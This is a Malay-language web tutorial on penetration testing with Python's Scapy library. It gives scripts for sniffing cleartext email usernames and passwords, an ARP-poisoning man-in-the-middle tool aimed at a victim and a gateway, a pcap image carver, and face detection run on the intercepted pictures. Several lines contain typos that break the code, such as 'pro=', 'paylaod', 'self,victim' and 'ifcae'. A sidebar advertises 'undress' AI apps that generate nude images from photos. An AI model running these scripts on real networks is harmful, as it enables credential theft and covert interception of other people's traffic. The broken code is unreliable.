Jadual Kandungan
Mencuri bukti kelayakan e-mel
Serangan keracunan ARP
pemprosesan fail pcap
Rumah pembangunan bahagian belakang Tutorial Python Bermula dengan Ujian Penembusan Python: Cara Menggunakan Perpustakaan Scapy

Bermula dengan Ujian Penembusan Python: Cara Menggunakan Perpustakaan Scapy

Apr 19, 2023 pm 12:37 PM
python scapy

Scapy ialah modul Python dan atur cara interaktif yang digunakan untuk menghuraikan paket data rangkaian asas Program ini secara abstrak membungkus pemprosesan paket asas, menjadikan pemprosesan paket data rangkaian sangat mudah. Pustaka kelas ini boleh mempunyai julat kes penggunaan yang sangat luas dalam bidang keselamatan rangkaian dan boleh digunakan untuk pembangunan eksploitasi kerentanan, kebocoran data, pemantauan rangkaian, pengesanan pencerobohan dan analisis lalu lintas dan penangkapan. Scapy disepadukan dengan visualisasi data dan penjanaan laporan untuk memaparkan hasil dan data dengan mudah.

Mencuri bukti kelayakan e-mel

Scapy menyediakan fungsi antara muka yang dinamakan dengan ringkas Definisinya adalah seperti berikut:

sniff(filter = " ", iface = "any", prn = function, count = N)
Salin selepas log masuk

Parameter penapis membolehkan anda menentukan Penapis Paket Berkeley. (BPF) digunakan untuk menapis paket yang dihidu oleh Scapy Anda juga boleh membiarkan parameter ini kosong untuk menunjukkan bahawa semua paket akan dihidu.

Parameter iface digunakan untuk menentukan kad rangkaian yang akan dihidu oleh penghidu Jika tidak ditetapkan, semua kad rangkaian akan dihidu secara lalai. Parameter prn digunakan untuk menentukan fungsi panggil balik Setiap kali paket yang memenuhi syarat penapisan ditemui, penghidu akan menghantar paket ke fungsi panggil balik ini. Ini adalah satu-satunya parameter yang diterima oleh fungsi ini. Parameter kiraan boleh digunakan untuk menentukan berapa banyak paket yang anda ingin hidu Jika dibiarkan kosong, Scapy akan terus menghidu.

mail_sniffer.py:

from scapy.all import sniff

def packet_callback(packet):
    print(packet.show())

def main():
    sniff(pro=packet_callback, count=1)

if __name__ == '__main__':
    main()
Salin selepas log masuk

Dalam penghidu mudah ini, ia hanya menghidu arahan yang berkaitan dengan protokol peti mel.

Seterusnya kami akan menambah penapis dan kod fungsi panggil balik untuk menangkap data yang berkaitan dengan pengesahan akaun e-mel dengan cara yang disasarkan.

Pertama, kami akan menyediakan penapis paket untuk memastikan penghidu hanya menunjukkan paket yang menarik minat kami. Kami akan menggunakan sintaks BPF (juga dikenali sebagai sintaks gaya Wireshark) untuk menulis penapis. Anda boleh menggunakan sintaks ini dalam alatan seperti tcpdump dan Wireshark. Mari kita bincangkan tentang sintaks BPF asas dahulu. Dalam sintaks BPF, tiga jenis maklumat boleh digunakan: deskriptor (seperti alamat hos tertentu, nama kad rangkaian atau nombor port), arah aliran data dan protokol komunikasi, seperti yang ditunjukkan dalam rajah. Anda bebas untuk menambah atau meninggalkan jenis, arahan atau protokol tertentu bergantung pada data yang anda cari.

Bermula dengan Ujian Penembusan Python: Cara Menggunakan Perpustakaan Scapy

Mari kita tulis BPF dahulu:

from scapy.all import sniff, TCP, IP

#the packet callback
def packet_callback(packet):
    if packet[TCP].payload:
        mypacket = str(packet[TCP].paylaod)
        if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
            print(f"[*] Destination: {packet[IP].dst}")
            print(f"[*] {str(packet[TCP].payload)}")


def main():
    #fire up the sniffer
    sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',prn=packet_callback, store=0)
#监听邮件协议常用端口
#新参数store,把它设为0以后,Scapy就不会将任何数据包保留在内存里

if __name__ == '__main__':
    main()
Salin selepas log masuk

Serangan keracunan ARP

Logik: memperdayakan peranti sasaran supaya mempercayai kami adalah miliknya get laluan; kemudian ia memalsukan get laluan dan memberitahunya bahawa semua trafik yang dituju untuk peranti sasaran mesti dimajukan kepada kami. Setiap peranti pada rangkaian mengekalkan cache ARP, yang merekodkan surat-menyurat antara alamat MAC dan alamat IP pada rangkaian tempatan dalam tempoh baru-baru ini. Untuk melaksanakan serangan ini, kami akan meracuni cache ARP ini, iaitu memasukkan rekod rekaan kami ke dalam cache.

Perhatikan bahawa mesin sasaran percubaan ialah mac

arper.py:

from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import time

def get_mac(targetip):
    packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
    resp, _= srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None
    
class Arper:
    def __init__(self, victim, gateway, interface='en0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0

        print(f'Initialized {interface}:')
        print(f'Gateway ({gateway}) is at {self.gateway}')
        print(f'Victim ({victim}) is at {self.gatewaymac}')
        print('_'*30)
    
    def run(self):
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()

        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()

    def poison(self):
        poison_victim = ARP()
        poison_victim.op = 2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac dst: {poison_victim.hwdst}')
        print(f'mac src: {poison_victim.hwsrc}')
        print(poison_victim.summary())
        print('_'*30)
        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self,victim 
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac

        print(f'ip src: {poison_gateway.psrc}')
        print(f'ip dst: {poison_gateway.pdst}')
        print(f'mac dst: {poison_gateway.hwdst}')
        print(f'mac_src: {poison_gateway.hwsrc}')
        print(poison_gateway.summary())
        print('_'*30)
        print(f'Beginning the ARP poison. [CTRL -C to stop]')
        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            else:
                time.sleep(2)


    def sniff(self, count=200):
        time.sleep(5)
        print(f'Sniffing {count} packets')
        bpf_filter = "ip host %s" % victim
        packets = sniff(count=count, filter=bpf_filter, ifcae=self.interface)
        wrpcap('arper.pcap', packets)
        print('Got the packets')
        self.restore()
        self.poison_thread.terminate()
        print('Finished')

    def restore(self):
        print('Restoring ARP tables...')
        send(ARP(
            op=2,
            psrc=self.gateway,
            hwsrc=self.gatewaymac,
            pdst=self.victim,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
        send(ARP(
            op=2,
            psrc=self.victim,
            hwsrc=self.victimmac,
            pdst=self.gateway,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
                

if __name__ == '__main__':
    (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
    myarp = Arper(victim, gateway, interface)
    myarp.run()
Salin selepas log masuk

pemprosesan fail pcap

recapper.py:

from scapy.all import TCP, rdpcap
import collections
import os
import re
import sys
import zlib

OUTDIR = '/root/Desktop/pictures'
PCAPS = '/root/Downloads'

Response = collections.namedtuple('Response', ['header','payload'])

def get_header(payload):
    try:
        header_raw = payload[:payload.index(b'\r\n\r\n')+2]
    except ValueError:
        sys.stdout.write('_')
        sys.stdout.flush()
        return None
    
    header = dict(re.findall(r&#39;?P<name>.*?): (?P<value>.*?)\r\n&#39;, header_raw.decode()))
    if &#39;Content-Type&#39; not in header:
        return None
    return header

def extract_content(Response, content_name=&#39;image&#39;):
    content, content_type = None, None
    if content_name in Response.header[&#39;Content-Type&#39;]:
        content_type = Response.header[&#39;Content-Type&#39;].split(&#39;/&#39;)[1]
        content = Response.payload[Response.payload.index(b&#39;\r\n\r\n&#39;)+4:]

        if &#39;Content-Encoding&#39; in Response.header:
            if Response.header[&#39;Content-Encoding&#39;] == "gzip":
                content = zlib.decompress(Response.payload, zlib.MAX_wbits | 32)
            elif Response.header[&#39;Content-Encoding&#39;] == "deflate":
                content = zlib.decompress(Response.payload) 
    
    return content, content_type

class Recapper:
    def __init__(self, fname):
        pcap = rdpcap(fname)
        self.session = pcap.session()
        self.responses = list()

    def get_responses(self):
        for session in self.session:
            payload = b&#39;&#39;
            for packet in self.session[session]:
                try:
                    if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                        payload += bytes(packet[TCP].payload)
                except IndexError:
                    sys.stdout.write(&#39;x&#39;)
                    sys.stdout.flush()
        
            if payload:
                header = get_header(payload)
                if header is None:
                    continue
            self.responses.append(Response(header=header, payload=payload))
    def write(self, content_name):
        for i, response in enumerate(self.responses):
            content, content_type = extract_content(response, content_name)
            if content and content_type:
                fname = os.path.join(OUTDIR, f&#39;ex_{i}.{content_type}&#39;)
                print(f&#39;Writing {fname}&#39;)
                with open(fname, &#39;wb&#39;) as f:
                    f.write(content)

if __name__ == &#39;__main__&#39;:
    pfile = os.path.join(PCAPS, &#39;pcap.pcap&#39;)
    recapper = Recapper(pfile)
    recapper.get_responses()
    recapper.write(&#39;image&#39;)
Salin selepas log masuk

Sekiranya kita mendapat gambar, maka kita perlu menganalisis gambar tersebut dan menyemak setiap gambar untuk mengesahkan sama ada terdapat wajah di dalamnya. Untuk setiap imej yang mengandungi muka, kami melukis kotak di sekeliling muka dan menyimpannya sebagai imej baharu.

detector.py:

import cv2
import os

ROOT = &#39;/root/Desktop/pictures&#39;
FACES = &#39;/root/Desktop/faces&#39;
TRAIN = &#39;/root/Desktop/training&#39;

def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN):
    for fname in os.listdir(srcdir):
        if not fname.upper().endswith(&#39;.JPG&#39;):
            continue
        fullname = os.path.join(srcdir, fname)

        newname = os.path.join(tgtdir, fname)
        img = cv2.imread(fullname)
        if img is None:
            continue

        gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
        training = os.path.join(train_dir, &#39;haarcascade_frontalface_alt.xml&#39;)
        cascade = cv2.CascadeClassifier(training)
        rects = cascade.detectMultiScale(gray, 1.3,5)
        try:
            if rects.any():
                print(&#39;Got a face&#39;)
                rects[:, 2:] += rects[:, :2]
        except AttributeError:
            print(f&#39;No faces fount in {fname}&#39;)
            continue

        # highlight the faces in the image
        for x1, y1, x2, y2 in rects:
            cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
        cv2.imwrite(newname, img)

if name == &#39;__main__&#39;:
    detect()
Salin selepas log masuk

Atas ialah kandungan terperinci Bermula dengan Ujian Penembusan Python: Cara Menggunakan Perpustakaan Scapy. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn

Alat AI Hot

Undresser.AI Undress

Undresser.AI Undress

Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover

AI Clothes Remover

Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool

Undress AI Tool

Gambar buka pakaian secara percuma

Clothoff.io

Clothoff.io

Penyingkiran pakaian AI

Video Face Swap

Video Face Swap

Tukar muka dalam mana-mana video dengan mudah menggunakan alat tukar muka AI percuma kami!

Alat panas

Notepad++7.3.1

Notepad++7.3.1

Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina

SublimeText3 versi Cina

Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1

Hantar Studio 13.0.1

Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6

Dreamweaver CS6

Alat pembangunan web visual

SublimeText3 versi Mac

SublimeText3 versi Mac

Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

PHP dan Python: Paradigma yang berbeza dijelaskan PHP dan Python: Paradigma yang berbeza dijelaskan Apr 18, 2025 am 12:26 AM

PHP terutamanya pengaturcaraan prosedur, tetapi juga menyokong pengaturcaraan berorientasikan objek (OOP); Python menyokong pelbagai paradigma, termasuk pengaturcaraan OOP, fungsional dan prosedur. PHP sesuai untuk pembangunan web, dan Python sesuai untuk pelbagai aplikasi seperti analisis data dan pembelajaran mesin.

Memilih antara php dan python: panduan Memilih antara php dan python: panduan Apr 18, 2025 am 12:24 AM

PHP sesuai untuk pembangunan web dan prototaip pesat, dan Python sesuai untuk sains data dan pembelajaran mesin. 1.Php digunakan untuk pembangunan web dinamik, dengan sintaks mudah dan sesuai untuk pembangunan pesat. 2. Python mempunyai sintaks ringkas, sesuai untuk pelbagai bidang, dan mempunyai ekosistem perpustakaan yang kuat.

Python vs JavaScript: Keluk Pembelajaran dan Kemudahan Penggunaan Python vs JavaScript: Keluk Pembelajaran dan Kemudahan Penggunaan Apr 16, 2025 am 12:12 AM

Python lebih sesuai untuk pemula, dengan lengkung pembelajaran yang lancar dan sintaks ringkas; JavaScript sesuai untuk pembangunan front-end, dengan lengkung pembelajaran yang curam dan sintaks yang fleksibel. 1. Sintaks Python adalah intuitif dan sesuai untuk sains data dan pembangunan back-end. 2. JavaScript adalah fleksibel dan digunakan secara meluas dalam pengaturcaraan depan dan pelayan.

Cara menjalankan program di terminal vscode Cara menjalankan program di terminal vscode Apr 15, 2025 pm 06:42 PM

Dalam kod VS, anda boleh menjalankan program di terminal melalui langkah -langkah berikut: Sediakan kod dan buka terminal bersepadu untuk memastikan bahawa direktori kod selaras dengan direktori kerja terminal. Pilih arahan Run mengikut bahasa pengaturcaraan (seperti python python your_file_name.py) untuk memeriksa sama ada ia berjalan dengan jayanya dan menyelesaikan kesilapan. Gunakan debugger untuk meningkatkan kecekapan debug.

Boleh kod vs dijalankan di Windows 8 Boleh kod vs dijalankan di Windows 8 Apr 15, 2025 pm 07:24 PM

Kod VS boleh dijalankan pada Windows 8, tetapi pengalaman mungkin tidak hebat. Mula -mula pastikan sistem telah dikemas kini ke patch terkini, kemudian muat turun pakej pemasangan kod VS yang sepadan dengan seni bina sistem dan pasangnya seperti yang diminta. Selepas pemasangan, sedar bahawa beberapa sambungan mungkin tidak sesuai dengan Windows 8 dan perlu mencari sambungan alternatif atau menggunakan sistem Windows yang lebih baru dalam mesin maya. Pasang sambungan yang diperlukan untuk memeriksa sama ada ia berfungsi dengan betul. Walaupun kod VS boleh dilaksanakan pada Windows 8, disyorkan untuk menaik taraf ke sistem Windows yang lebih baru untuk pengalaman dan keselamatan pembangunan yang lebih baik.

PHP dan Python: menyelam mendalam ke dalam sejarah mereka PHP dan Python: menyelam mendalam ke dalam sejarah mereka Apr 18, 2025 am 12:25 AM

PHP berasal pada tahun 1994 dan dibangunkan oleh Rasmuslerdorf. Ia pada asalnya digunakan untuk mengesan pelawat laman web dan secara beransur-ansur berkembang menjadi bahasa skrip sisi pelayan dan digunakan secara meluas dalam pembangunan web. Python telah dibangunkan oleh Guidovan Rossum pada akhir 1980 -an dan pertama kali dikeluarkan pada tahun 1991. Ia menekankan kebolehbacaan dan kesederhanaan kod, dan sesuai untuk pengkomputeran saintifik, analisis data dan bidang lain.

Adakah sambungan vscode berniat jahat? Adakah sambungan vscode berniat jahat? Apr 15, 2025 pm 07:57 PM

Sambungan kod VS menimbulkan risiko yang berniat jahat, seperti menyembunyikan kod jahat, mengeksploitasi kelemahan, dan melancap sebagai sambungan yang sah. Kaedah untuk mengenal pasti sambungan yang berniat jahat termasuk: memeriksa penerbit, membaca komen, memeriksa kod, dan memasang dengan berhati -hati. Langkah -langkah keselamatan juga termasuk: kesedaran keselamatan, tabiat yang baik, kemas kini tetap dan perisian antivirus.

Bolehkah kod studio visual digunakan dalam python Bolehkah kod studio visual digunakan dalam python Apr 15, 2025 pm 08:18 PM

Kod VS boleh digunakan untuk menulis Python dan menyediakan banyak ciri yang menjadikannya alat yang ideal untuk membangunkan aplikasi python. Ia membolehkan pengguna untuk: memasang sambungan python untuk mendapatkan fungsi seperti penyempurnaan kod, penonjolan sintaks, dan debugging. Gunakan debugger untuk mengesan kod langkah demi langkah, cari dan selesaikan kesilapan. Mengintegrasikan Git untuk Kawalan Versi. Gunakan alat pemformatan kod untuk mengekalkan konsistensi kod. Gunakan alat linting untuk melihat masalah yang berpotensi lebih awal.

See all articles